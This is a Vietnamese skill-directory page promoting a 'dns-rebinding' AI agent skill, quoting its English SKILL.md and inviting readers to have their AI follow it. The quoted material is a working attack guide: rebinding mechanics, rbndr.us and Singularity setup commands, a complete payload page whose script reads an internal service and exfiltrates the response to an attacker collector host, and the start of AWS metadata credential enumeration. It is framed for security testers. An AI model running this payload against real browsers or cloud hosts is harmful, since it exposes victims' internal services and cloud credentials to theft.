Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14060

dns-rebinding

Skill này làm gì

Skill này giải thích DNS rebinding, một thủ đoạn khiến trình duyệt của người truy cập có thể tiếp cận các dịch vụ mạng riêng. Dành cho người kiểm thử bảo mật kiểm tra mức độ lộ nội bộ.

Khi nào nên dùng

  • ✓Khi các bộ lọc yêu cầu phía máy chủ chặn một mục tiêu nhưng trình duyệt của người truy cập vẫn có thể được dùng để tiếp cận nó.
  • ✓Khi một dịch vụ phát triển cục bộ hoặc bảng điều khiển nội bộ có thể truy cập được từ trình duyệt.
  • ✓Khi bạn cần kiểm tra xem ứng dụng có phòng thủ DNS rebinding bằng kiểm tra Host không.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể kiểm tra xem bảng điều khiển nội bộ của tôi có thể bị truy cập qua thủ đoạn DNS rebinding trong trình duyệt không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Một tên miền trước tiên phân giải về địa chỉ công khai, rồi chuyển sang địa chỉ nội bộ sau một khoảng thời gian ngắn, nhờ đó trang có thể đọc phản hồi như thể đến từ cùng một trang web.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

DNS Rebinding

DNS rebinding lets an attacker-controlled page make the victim's browser treat attacker.com as if it were 127.0.0.1 (or any internal IP). The browser's same-origin policy checks the hostname, not the IP — so after rebinding, the page's JS can read responses from the internal service as if they were same-origin.

When This Applies

Scenario Viable?
SSRF blocked, but victim browser is reachable Yes — browser does the internal fetch
Localhost service (Electron app, dev server, K8s dashboard) Yes — browser calls 127.0.0.1:<PORT>
Cloud IMDS (169.254.169.254) reachable from instance's browser Yes — rare but critical
Server-side SSRF filter allows attacker.com Yes — rebind to internal IP
Target has DNS-rebinding protection (Host header check) Partial — see bypass §7

2. Attack Mechanics

Phase 1 — Victim resolves attacker.com → public IP

Victim visits http://attacker.com/payload.html. Browser resolves the DNS name → gets the attacker's real public IP → same-origin allows the page's JS to load and execute.

Phase 2 — TTL expires, DNS flips to 127.0.0.1

The attacker's DNS server returns a very short TTL (0–1 s). After TTL expiry, a second DNS query returns 127.0.0.1 (or target internal IP).

Phase 3 — JS makes same-origin request

The page's JS calls fetch("http://attacker.com/api/v1/secret"). The browser re-resolves attacker.com → gets 127.0.0.1 → sends the request to the local service on the attacker's behalf, receives the response, and exfiltrates it.

[Browser] → DNS query: attacker.com → [Attacker DNS] → 1.2.3.4 (real)
                                         ... wait TTL ...
[Browser] → DNS query: attacker.com → [Attacker DNS] → 127.0.0.1 (rebind)
[Browser] fetch("http://attacker.com:8080/api/secret") → [127.0.0.1:8080]
[Browser] → response body exfiltrated to attacker

3. Tooling

rbndr.us (fastest, no setup)

Public DNS rebinding service by Taviso. Construct a hostname that encodes both IPs:

<hex-public-ip>.<hex-target-ip>.rbndr.us

Example — rebind attacker.com from 1.2.3.4 to 127.0.0.1:

PUBLIC_HEX=$(python3 -c "import socket; a='<YOUR_VPS_IP>'; print(''.join(f'{int(x):02x}' for x in a.split('.')))")
TARGET_HEX="7f000001"   # 127.0.0.1
REBIND_HOST="${PUBLIC_HEX}.${TARGET_HEX}.rbndr.us"
echo "Rebind hostname: $REBIND_HOST"
# → e.g. 01020304.7f000001.rbndr.us

The rbndr.us server alternates between the two IPs on each DNS request. Set up your payload page at http://$REBIND_HOST:8080/.

Singularity (full-featured, self-hosted)

git clone https://github.com/nccgroup/singularity /workspace/singularity
cd /workspace/singularity/html

# Configure the manager
# Edit cmd/singularity-server/main.go: set rebindingFn to "rr" (round-robin)
# or "fs" (first satisfied)

docker run -it --rm \
  -p 53:53/udp -p 8080:8080 \
  nccgroup/singularity

# Access the manager at http://<VPS>:8080/manager.html
# Set "Attack host" = attacker's public IP
# Set "Target host" = 127.0.0.1 (or internal IP)
# Set "Target port" = target port (e.g. 2375 for Docker, 6443 for K8s)
# Generate the attack URL; deliver to victim

4. Payload Page

Minimal JS to fetch once rebinding succeeds:

<!DOCTYPE html>
<html>
<body>
<script>
const host = location.hostname;   // e.g. xxxx.7f000001.rbndr.us
const target = "http://" + host + ":<TARGET_PORT>/";
const exfil  = "https://<ATTACKER_COLLECTOR>/";

function tryFetch(attempt) {
    fetch(target, {cache: "no-store"})
        .then(r => r.text())
        .then(body => {
            // Got internal service response — exfiltrate
            fetch(exfil + "?d=" + btoa(body).slice(0,1000));
        })
        .catch(err => {
            // DNS hasn't flipped yet, retry
            if (attempt < 30) setTimeout(() => tryFetch(attempt+1), 1000);
        });
}

setTimeout(() => tryFetch(0), 500);  // give first TTL a moment to expire
</script>
</body>
</html>

For IMDS specifically, AWS v1 and GCP do not require special headers from the browser perspective — the only protection is Host header validation (see §7). Azure IMDS requires Metadata: true header — inject via:

fetch(target, {headers: {"Metadata": "true"}, cache: "no-store"})

5. Cloud IMDS Pivot

Once the rebinding hits 169.254.169.254:

// AWS IMDSv1 — enumerate IAM role
fetch("http://attacker.com/latest/meta-data/iam/security-credentials/", {cache
Câu hỏi thường gặp

DNS rebinding nói đơn giản là gì?

Đó là thủ đoạn tên miền ban đầu trỏ đến máy chủ công khai, rồi đổi sang địa chỉ nội bộ để trang web có thể tiếp cận các dịch vụ lẽ ra phải riêng tư.

Skill nhắc đến địa chỉ nội bộ nào?

Nó nhắc đến địa chỉ metadata đám mây 169.254.169.254 như một mục tiêu nội bộ có thể có.

Skill có nói về biện pháp phòng thủ không?

Có. Skill lưu ý rằng một số mục tiêu dùng kiểm tra Host header, nhưng cách này chỉ chặn được một phần tấn công.

Chi tiết

Mô tả gốc của tác giả

DNS rebinding attack to bypass browser same-origin policy and reach IMDS/localhost/internal services: TTL=0 rebind mechanics, rbndr.us/singularity tooling, browser DNS cache pinning, chaining into AWS/GCP/Azure IMDS credential pivot. Use when SSRF is blocked but a victim browser can be induced to make requests, or when a localhost service is exposed. Triggers on: 'dns rebinding', 'rebind', 'DNS TTL 0', 'singularity', 'rbndr', 'localhost bypass via browser', 'imds via browser', 'SSRF via DNS'.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14060
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự